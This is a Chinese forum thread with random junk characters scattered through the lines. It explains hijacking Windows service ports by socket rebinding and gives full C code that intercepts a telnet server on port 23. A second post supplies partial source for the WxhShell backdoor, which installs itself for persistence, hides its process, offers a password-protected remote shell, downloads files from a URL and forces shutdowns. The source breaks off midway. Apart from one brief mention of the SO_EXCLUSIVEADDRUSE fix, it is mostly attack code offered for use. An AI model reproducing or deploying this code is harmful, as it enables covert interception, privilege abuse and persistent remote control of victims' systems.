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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5[A4K%EL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |$`I1  
| (: PX  
  saddr.sin_family = AF_INET; ,S7M4ajVZB  
aq$adPtu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^fhkWx4i  
.] BJM?9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h"(HDnq  
9m}c2:p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Os)}kkja  
D1~3 3;  
  这意味着什么?意味着可以进行如下的攻击: ;mXw4_{  
B'KZ >jO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 YvPs   
PHqIfH [  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^:]~6p#  
J0yo@O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i]IZ0.?Y  
S*a_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $qk(yzY  
CDGN}Q2_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?OdJ t  
"kkZK=}Nv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qW t 9Tr  
0 hS(9y40  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jc,{ n*  
8\rHSsP  
  #include `YPNVm<3)  
  #include =xPBolxm5U  
  #include Y 9~z7  
  #include    b;$j h   
  DWORD WINAPI ClientThread(LPVOID lpParam);   &&($LnyA]  
  int main() `KJ BQK  
  { -{a&Zkz>V  
  WORD wVersionRequested; v`9n'+h-c6  
  DWORD ret; Hbi2amfBu  
  WSADATA wsaData; #AUa'qB t  
  BOOL val; Uv(Uj3D  
  SOCKADDR_IN saddr;  ^6Y:9+  
  SOCKADDR_IN scaddr; S`&YY89{&  
  int err; 4&^BcWqA*f  
  SOCKET s; M;F&Ix  
  SOCKET sc; :EZ"D#>y~  
  int caddsize; r$z0C&5  
  HANDLE mt; 9`v[Jm% $m  
  DWORD tid;   ~U_,z)<`)c  
  wVersionRequested = MAKEWORD( 2, 2 ); Qh@A7N/L  
  err = WSAStartup( wVersionRequested, &wsaData ); e X q}0-*f  
  if ( err != 0 ) { @Xq3>KJ_)H  
  printf("error!WSAStartup failed!\n"); ?#_]Lzn'  
  return -1;  B!+`km5  
  } ;c;PNihg  
  saddr.sin_family = AF_INET; A+bU{oLr  
   PH3#\ v.   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9|RR;k[  
Mwd(?o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o;2QZ"v  
  saddr.sin_port = htons(23); ~$Pz`amT|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FT.;}!"l  
  { aC=D_JJ\  
  printf("error!socket failed!\n"); )]3(ue  
  return -1; Hm55R  
  } h`,!p  
  val = TRUE; XhxCOpO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ay,E!G&H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s7}46\/U  
  { -P|st;?#  
  printf("error!setsockopt failed!\n"); 6zJfsKf$  
  return -1; I:G4i}mA  
  } L/n?1'he  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2^C>orKQ0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `+O7IyTM A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q+Cq&|4 ?2  
%#,EqN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }0?\H)/edP  
  { L.) 0!1  
  ret=GetLastError(); +$H`/^a.  
  printf("error!bind failed!\n"); J)leRR&  
  return -1; ',P E25Z  
  } &?gvW//L2  
  listen(s,2); uRfFPOYH  
  while(1) p2: >m\  
  { aZ{]t:]  
  caddsize = sizeof(scaddr); zVU{jmS  
  //接受连接请求 1y($h<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {*J{1)2  
  if(sc!=INVALID_SOCKET) D!d1%hac  
  { 2[qlEtvQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xv'5%o^i*  
  if(mt==NULL) *eonXJYD  
  { -r!sY+Z>  
  printf("Thread Creat Failed!\n"); 8Cw+<A*  
  break; R:t>P Fwo  
  } }{.0mu9  
  } oyeJ"E2  
  CloseHandle(mt); 4]18=?r>  
  } EFNi# D8s  
  closesocket(s); I?_YL*  
  WSACleanup(); fNnemn@>  
  return 0; @XL5$k[Y  
  }   cq,0?2R`t  
  DWORD WINAPI ClientThread(LPVOID lpParam) c$ skLz  
  { w`$M}oX(  
  SOCKET ss = (SOCKET)lpParam; A%$ZB9#zQ  
  SOCKET sc; fyE#8h_>4  
  unsigned char buf[4096]; s35`{PR  
  SOCKADDR_IN saddr; ^<VJ8jk<  
  long num; [|!A3o  
  DWORD val; K7CrRT3>6  
  DWORD ret; H<`<5M8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;9rS[$^$O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "bC1dl<  
  saddr.sin_family = AF_INET; *P.Dbb8vn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !ENDQ?1  
  saddr.sin_port = htons(23); M#7w54~b?M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kZ>Xl- LV  
  { $|V@3`0  
  printf("error!socket failed!\n"); @ysc?4% q  
  return -1; LnZC)cL P/  
  } }[>X}"_e  
  val = 100; H ]x-s  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /$ :w8  
  { = olmBXn/  
  ret = GetLastError(); yxx'g+D*  
  return -1; iir]M`A.-  
  } <_N<L\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tr t^o  
  { <+mYC'p  
  ret = GetLastError(); _sGmkJi]  
  return -1; DZ7<-SFU  
  } @z-%:J/$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7(S66  
  { v?=y9lEH@%  
  printf("error!socket connect failed!\n"); #oX8EMqs<  
  closesocket(sc); XDdF7i}  
  closesocket(ss); J )DFH~p  
  return -1; 74p=uQ  
  } DQy<!Wb+  
  while(1) bk}'wcX<+]  
  { p9`!.~[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {%b*4x0?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zv8AvNDK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [PW\l+i  
  num = recv(ss,buf,4096,0); %A^V@0K3  
  if(num>0) ac%6eW0#  
  send(sc,buf,num,0); 7B)m/%>3s  
  else if(num==0) 1R+/T  
  break; FP_q?=~rFs  
  num = recv(sc,buf,4096,0); 8h%oJ4da   
  if(num>0) 4Nun-(q  
  send(ss,buf,num,0); +\_c*'K>  
  else if(num==0) 6B=: P3Y  
  break; IGQcQ/M  
  } j*' +f~ A  
  closesocket(ss); ls*bCe  
  closesocket(sc); H6t'V%Ys  
  return 0 ; \QvoL  
  } wJ%;\06  
,ut-Di=6  
CVt:tV  
========================================================== ^tTASK  
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下边附上一个代码,,WXhSHELL MOia] 5  
rijavZS6  
========================================================== !K[UJQ s\  
<9bfX 91  
#include "stdafx.h" pRys 5/&v  
LpYG!Kl  
#include <stdio.h> {TL.2  
#include <string.h> 6Lb(oY}\3  
#include <windows.h> ?XIB\7}  
#include <winsock2.h> ~9[O'  
#include <winsvc.h> Kt#_Ln_6  
#include <urlmon.h> K!,T.qA&=  
dtT: ,&  
#pragma comment (lib, "Ws2_32.lib") @y!oKF  
#pragma comment (lib, "urlmon.lib") Mm)yabP  
j"F?^0aR,Q  
#define MAX_USER   100 // 最大客户端连接数 I?&/J4o:  
#define BUF_SOCK   200 // sock buffer #=g1V?D  
#define KEY_BUFF   255 // 输入 buffer 1p5n}|  
1)o6jGQ  
#define REBOOT     0   // 重启 ,` 64t'g  
#define SHUTDOWN   1   // 关机 T@%\?=P  
B%^W$7 q  
#define DEF_PORT   5000 // 监听端口 bt{b%r  
@u @~gEt  
#define REG_LEN     16   // 注册表键长度 9]Fi2M  
#define SVC_LEN     80   // NT服务名长度 2rV]n  
OAauD$Hh  
// 从dll定义API \_]X+o;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (hJ&`Tt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4OaU1Y[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [eO^C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :;hz!6!  
7,lnfCm H  
// wxhshell配置信息 C<Z{G%Qm  
struct WSCFG { U EjP`  
  int ws_port;         // 监听端口 ;aN_!! r  
  char ws_passstr[REG_LEN]; // 口令 7 'q *(v  
  int ws_autoins;       // 安装标记, 1=yes 0=no QdrZi.qKH  
  char ws_regname[REG_LEN]; // 注册表键名 smUSR4VK  
  char ws_svcname[REG_LEN]; // 服务名 (QTF+~)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x:K~?c3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :N^+!,i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y1)ZO_'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @PT([1C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZuFcJ?8i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :pfLa2f+  
?KtF!:_C  
}; =(]Z%Q-V  
Kr5(fU  
// default Wxhshell configuration AP:Q]A6}  
struct WSCFG wscfg={DEF_PORT, I`f5)iF?0  
    "xuhuanlingzhe", SK*z4p  
    1, 3;RQ\{eM  
    "Wxhshell", R4y]<8}  
    "Wxhshell", 'Qh1$X)R7a  
            "WxhShell Service", T-LX>*  
    "Wrsky Windows CmdShell Service", BW:HKH.k  
    "Please Input Your Password: ", )dd1B>ej]  
  1, 2 EWXr+IU.  
  "http://www.wrsky.com/wxhshell.exe", bp!Jjct  
  "Wxhshell.exe" Y}]-o9Rl  
    }; ]h?q1    
eIJ>bM  
// 消息定义模块 4{@{VsXN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BsU}HuQZQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,v<7O_A/e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]rG/?1'^i  
char *msg_ws_ext="\n\rExit."; /9e?uC6  
char *msg_ws_end="\n\rQuit."; B[k=6EU8k  
char *msg_ws_boot="\n\rReboot..."; ,$} xPC  
char *msg_ws_poff="\n\rShutdown..."; ]OtnekkK$  
char *msg_ws_down="\n\rSave to "; ]"&](e6*  
4[(NxXH8M  
char *msg_ws_err="\n\rErr!"; I>GBnx L  
char *msg_ws_ok="\n\rOK!"; rz0)S py6  
en'"" w  
char ExeFile[MAX_PATH]; wRvh/{xB  
int nUser = 0; =EYWiK77a  
HANDLE handles[MAX_USER]; u"uL,w 1-  
int OsIsNt; [!De|,u(^  
s+?2oPa  
SERVICE_STATUS       serviceStatus; gBky ZK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n y cn  
<iA\ZS:  
// 函数声明 W=#AfPi$&  
int Install(void); }v's>Ae~p  
int Uninstall(void); PY;tu#W!%  
int DownloadFile(char *sURL, SOCKET wsh); Khb Ku0Z  
int Boot(int flag); 9Ta0Li  
void HideProc(void); dU#-;/}o  
int GetOsVer(void); n)~*BpL3  
int Wxhshell(SOCKET wsl); q)mG6Su d  
void TalkWithClient(void *cs); `BQv;NtP  
int CmdShell(SOCKET sock); Z\$M)e8n  
int StartFromService(void); -V4%f{9T3  
int StartWxhshell(LPSTR lpCmdLine); "M, 1ElQ  
$~S~pvT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .faf!3d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y hQ)M5  
N+ak{3  
// 数据结构和表定义 8qqN0"{,  
SERVICE_TABLE_ENTRY DispatchTable[] = XZ . T%g  
{ M.K^W`  
{wscfg.ws_svcname, NTServiceMain}, $&=xw _  
{NULL, NULL} EJ>&\Iq  
}; *i}X(sfe  
.L+XV y  
// 自我安装 wk ^7/B  
int Install(void) >{N}UNZ$}  
{ c:.~%AJx  
  char svExeFile[MAX_PATH]; oNtoqYwH  
  HKEY key; fd4C8>*7G  
  strcpy(svExeFile,ExeFile); .[ }G{%M~[  
z)S6f79`Q  
// 如果是win9x系统,修改注册表设为自启动 f"KrPx!^b  
if(!OsIsNt) { +U1 Ir5Lx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a%e`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hbOXR.0z  
  RegCloseKey(key); tEL9hZzI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { veHe   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p]%di8&;N  
  RegCloseKey(key); =C2sl;7~*  
  return 0; K Ax=C}9  
    } vjq2(I)u  
  } )Xh}N  
} ]q.%_  
else { -?-XO<I  
Z(7kwhP[`  
// 如果是NT以上系统,安装为系统服务 g_1#if&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bx(@ fl:m  
if (schSCManager!=0) QXZyiJX}  
{ `XhH{*Q"X  
  SC_HANDLE schService = CreateService y-db CYMc  
  ( {$,\Qg  
  schSCManager, t|$ jgM  
  wscfg.ws_svcname, (Kwqa"Hk4{  
  wscfg.ws_svcdisp, ~g\~x  
  SERVICE_ALL_ACCESS, aknIrblS\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &yvvea]  
  SERVICE_AUTO_START, \4L ur  
  SERVICE_ERROR_NORMAL, 0eNdKE  
  svExeFile, +bS\iw+  
  NULL,  <@<bX  
  NULL, ? Bpnnwx  
  NULL, \ dFE.4  
  NULL, 0k5-S~_\  
  NULL @^<odmM  
  ); =nGFLH6)  
  if (schService!=0) HbegdbTJ  
  { 3l~+VBR_  
  CloseServiceHandle(schService); BYB4- ,  
  CloseServiceHandle(schSCManager); `UTPX'Vz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d/bimQ  
  strcat(svExeFile,wscfg.ws_svcname); ${MzO i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x-m*p^}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b)<WC$"  
  RegCloseKey(key); SHX`/  
  return 0; >`\.i,X .D  
    } 7a1o#O  
  }  yf:Vhr  
  CloseServiceHandle(schSCManager); /[<F f  
} 2ZY$/  
} o{G*7V@H  
A$=ny6  
return 1; UDh \%?j  
} (N}-]%#  
~;3yjO)l?)  
// 自我卸载 z'U.}27&o  
int Uninstall(void) vN'+5*Cgy6  
{ y#j7vO  
  HKEY key; 4<i#TCGex3  
XI\Slq  
if(!OsIsNt) { Jh3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P |t yyjO  
  RegDeleteValue(key,wscfg.ws_regname); >$JE!.p%o  
  RegCloseKey(key); C< c6Ub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9j:]<?D,A  
  RegDeleteValue(key,wscfg.ws_regname); kk /#&b2  
  RegCloseKey(key); 'F d+1 3  
  return 0; ?$|tT\SFV  
  } 0f6o0@  
} d}\]!x3t  
} ryL1<u ~  
else { S=_u3OH0  
cXPpxRXBD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9wYm(7M6  
if (schSCManager!=0) ~_fc=^o  
{ wa8jr5/k"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a9-Mc5^'n  
  if (schService!=0) NPK;  
  { M-nRhso  
  if(DeleteService(schService)!=0) { zMv`<m%  
  CloseServiceHandle(schService); -D~K9u]U_  
  CloseServiceHandle(schSCManager); J\y^T3Z  
  return 0; @Chl>s  
  } $|=| "/  
  CloseServiceHandle(schService); ]lwf6'  
  } +MX~1RU+  
  CloseServiceHandle(schSCManager); zR<{z  
} )#m{"rk[x,  
} pG#tMec  
_ LHbP=B  
return 1; ku5|cF*%  
} Cw,a)XB  
/x??J4r0  
// 从指定url下载文件 \6|y~5Hw{r  
int DownloadFile(char *sURL, SOCKET wsh) 1m~|e.g_'`  
{ Mt4  
  HRESULT hr;  ;j26(dH  
char seps[]= "/"; s9ix&m  
char *token; nK;d\DO  
char *file; y|| n9  
char myURL[MAX_PATH]; t`8Jz~G`  
char myFILE[MAX_PATH]; R4'.QZ-x  
3+Lwtb}XPF  
strcpy(myURL,sURL); Gd 4S7JE  
  token=strtok(myURL,seps); f6Y?),`  
  while(token!=NULL) sE?%;uBb  
  { #&'S-XE+  
    file=token; tg\Nm7I  
  token=strtok(NULL,seps); GrLxERf  
  } lwQ!sH[M  
zDdo RK@  
GetCurrentDirectory(MAX_PATH,myFILE); t{] 6GlW  
strcat(myFILE, "\\"); d~aTjf  
strcat(myFILE, file); |KhpF1/(  
  send(wsh,myFILE,strlen(myFILE),0); g=\(%zfsxr  
send(wsh,"...",3,0); !0l|[c4 e>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jA1S|gV  
  if(hr==S_OK) xRWfZ3E#  
return 0; <.ZIhDiEl  
else }rJqMZ]w  
return 1; E!Q@AZ  
BbX$R`f  
} -9om,U`t  
R|RGoGE6g  
// 系统电源模块 MGF !ZZ\  
int Boot(int flag) JPDxzp  
{ lf( +]k30  
  HANDLE hToken; wrkw,H  
  TOKEN_PRIVILEGES tkp; P'Y(f!%  
spA|[\Nl  
  if(OsIsNt) { 96\FJHt Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $*{,Z<|2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;l;jTb^l  
    tkp.PrivilegeCount = 1; "Erphn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NuO@N r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N6[Z*5efR  
if(flag==REBOOT) { 'gN[LERT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tV=Qt[|@  
  return 0; ?*~ ~Ok  
} [\ku,yd%0  
else { \;-Yz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) niS\0ZA  
  return 0; ]4t1dVD  
} Xn"#Zy_  
  } #b d=G(o~6  
  else { Jj ]<SWh  
if(flag==REBOOT) { l3u[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '{,JuX"n  
  return 0; A5R"|<UPR  
} 46f- po_  
else { ?.,F3@W "  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PlCw,=K8f  
  return 0; 2_Lu 0Yrg  
} Lj /^cx  
} W(qK?"s2  
n!zB+hW  
return 1; ):Fg {7b]n  
} Wgf f+7k  
9vi+[3s/=;  
// win9x进程隐藏模块 A6KP(@   
void HideProc(void) "'DPb%o  
{ @w33u^  
9uxoMjR-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <1vogUDW  
  if ( hKernel != NULL ) T7qp ({v?Q  
  { )E",)}Nh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *vNAm(\N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GfgHFv  
    FreeLibrary(hKernel); &x (D%+  
  } k7JC~D E#  
"S@]yL  
return; + $M<ck?Bo  
} XFFm 'W6@  
+v%+E{F$+  
// 获取操作系统版本 .5HD i-  
int GetOsVer(void) Zp/P/97p  
{ UaG&HGg]!  
  OSVERSIONINFO winfo; )l*3^kwL{U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tv-SX=T  
  GetVersionEx(&winfo); .D7Gog3^<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #}6~>A  
  return 1; P=_W{6  
  else VVF9X(^rQ  
  return 0; hB 'rkjt  
} k'v+/6 Y  
mb'{@  
// 客户端句柄模块 jz3f{~   
int Wxhshell(SOCKET wsl) 3 JlM{N6+  
{ pl}W|kW}  
  SOCKET wsh; Cf 202pF3y  
  struct sockaddr_in client; B8wGWZ@  
  DWORD myID; 5-4  
v%#@.D!)  
  while(nUser<MAX_USER) )"Ujx`]4r  
{ ndyI sR  
  int nSize=sizeof(client); ./ tZ*sP:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JrxQ.,*i  
  if(wsh==INVALID_SOCKET) return 1; :MYLap&L&  
[$6YPM>Ee  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Gp9 ?0  
if(handles[nUser]==0) }w=|"a|,  
  closesocket(wsh); )REegFN@  
else 55b/giX  
  nUser++; Ct(^nn$A  
  } RSe av  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); = g%<xCp  
8&hxU@T~  
  return 0; AO-~dV  
} aEEb1Y  
P(\x. d:  
// 关闭 socket '0Q/oU  
void CloseIt(SOCKET wsh) sC f)#6mI  
{ }L`Z<h*H  
closesocket(wsh); &G-dxET]  
nUser--; $;";i:H`  
ExitThread(0); O*F= xG  
} N+]HJ`K  
k/U rz*O  
// 客户端请求句柄 FrRUAoF O  
void TalkWithClient(void *cs) A(XX2f!i  
{ }Oe4wEYN)  
-g"Wi@Qr  
  SOCKET wsh=(SOCKET)cs; B$q5/L$}  
  char pwd[SVC_LEN]; 1n)YCSA  
  char cmd[KEY_BUFF]; Bi/E{k,  
char chr[1]; tH vP0RxM  
int i,j; )*}?EI4.  
|@B|o-  
  while (nUser < MAX_USER) { V2yX;u  
G[d]t$f=  
if(wscfg.ws_passstr) { T7Y+ WfYh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zo ]-,u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V\c`O  
  //ZeroMemory(pwd,KEY_BUFF); IUG}Q7w5  
      i=0; X2 <fS~m  
  while(i<SVC_LEN) { ;+3@S`2r  
/*6[Itm_h  
  // 设置超时 do.XMdit  
  fd_set FdRead; |*~SR.[`  
  struct timeval TimeOut; (76tYt~I=  
  FD_ZERO(&FdRead); nGDY::nUE  
  FD_SET(wsh,&FdRead); &`g^b^i  
  TimeOut.tv_sec=8; M"Y ,kA|+  
  TimeOut.tv_usec=0; =Q# (2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %4wHiCOg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nah\4-75&  
4?_^7(%p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R<r,&X?m  
  pwd=chr[0]; Fbw.Y6  
  if(chr[0]==0xd || chr[0]==0xa) { 7?y([i\y  
  pwd=0; ] < ;y_  
  break; d|sf2   
  } FbCuXS=+`  
  i++; 02[*b  
    } *y~~~ 'J/  
x45F-w{  
  // 如果是非法用户,关闭 socket QNZ#SG8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bz`rSp8h  
} (s51GRC  
:c:}_t{%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  bIuOB|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b-J6{=k^  
5^{2 g^jH6  
while(1) { Sq`Zuu9t  
.;dI&0Z  
  ZeroMemory(cmd,KEY_BUFF); 6anH#=(  
y=}o|/5"  
      // 自动支持客户端 telnet标准   Pp;OkI``[  
  j=0; MdnapxuS  
  while(j<KEY_BUFF) { FW4#/H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0c&DSL}6  
  cmd[j]=chr[0]; Gl4f:`  
  if(chr[0]==0xa || chr[0]==0xd) { ~kI$8oAry  
  cmd[j]=0; K;R!>p}t  
  break; Xk:_aJ  
  } a!&<jM  
  j++; 0|mC k  
    } BtF7P}:MGf  
!#4b#l(e6  
  // 下载文件 1#XZVp;M  
  if(strstr(cmd,"http://")) { ddlF4L_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j 9f QV  
  if(DownloadFile(cmd,wsh)) 2FM}" g<8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WXa<(\S\V  
  else ,C^u8Z|T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z>.('  
  } g T0@pxl  
  else { X|Nb8 1M  
LO,:k+&A+  
    switch(cmd[0]) { LoO"d'{  
   {T5u"U4  
  // 帮助 }gQnr;lv  
  case '?': { $F@ ,,*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5"L.C32  
    break; s[t?At->  
  } w*7wSP  
  // 安装 Dd:48sN:Jq  
  case 'i': { b}ODc]3  
    if(Install()) (I#3![q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R E9 `T  
    else  %d0BQ|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }n k [WW  
    break; !dwa. lZ&X  
    } @,q<CF@Y  
  // 卸载 >%c>R'~h  
  case 'r': { l(Uwci  
    if(Uninstall()) r rs0|=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pvdCiYo1r  
    else G9~ 4?v6:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /!pJ"@  
    break; \[]4rXZN0  
    } N}'2GBqfU4  
  // 显示 wxhshell 所在路径 j HEt   
  case 'p': { m :2A[H+  
    char svExeFile[MAX_PATH]; p|w0 i[hc  
    strcpy(svExeFile,"\n\r"); oUL4l=dj.  
      strcat(svExeFile,ExeFile); 0>ce~KU  
        send(wsh,svExeFile,strlen(svExeFile),0); -]Aqt/w"l  
    break; aco w  
    } +DYsBCVbag  
  // 重启 8)YDUE%VH  
  case 'b': { E g_ram`\R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iE^=Vf;  
    if(Boot(REBOOT)) O0sLcuT$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =A_fL{ SM  
    else { +EH"A  
    closesocket(wsh); [`!%u3  
    ExitThread(0); n"Wlfd0  
    } ,3Aiz|v-  
    break; sc y_  
    } CWSc#E  
  // 关机 UYhxgPGsj  
  case 'd': { ,Y7QmbX^  
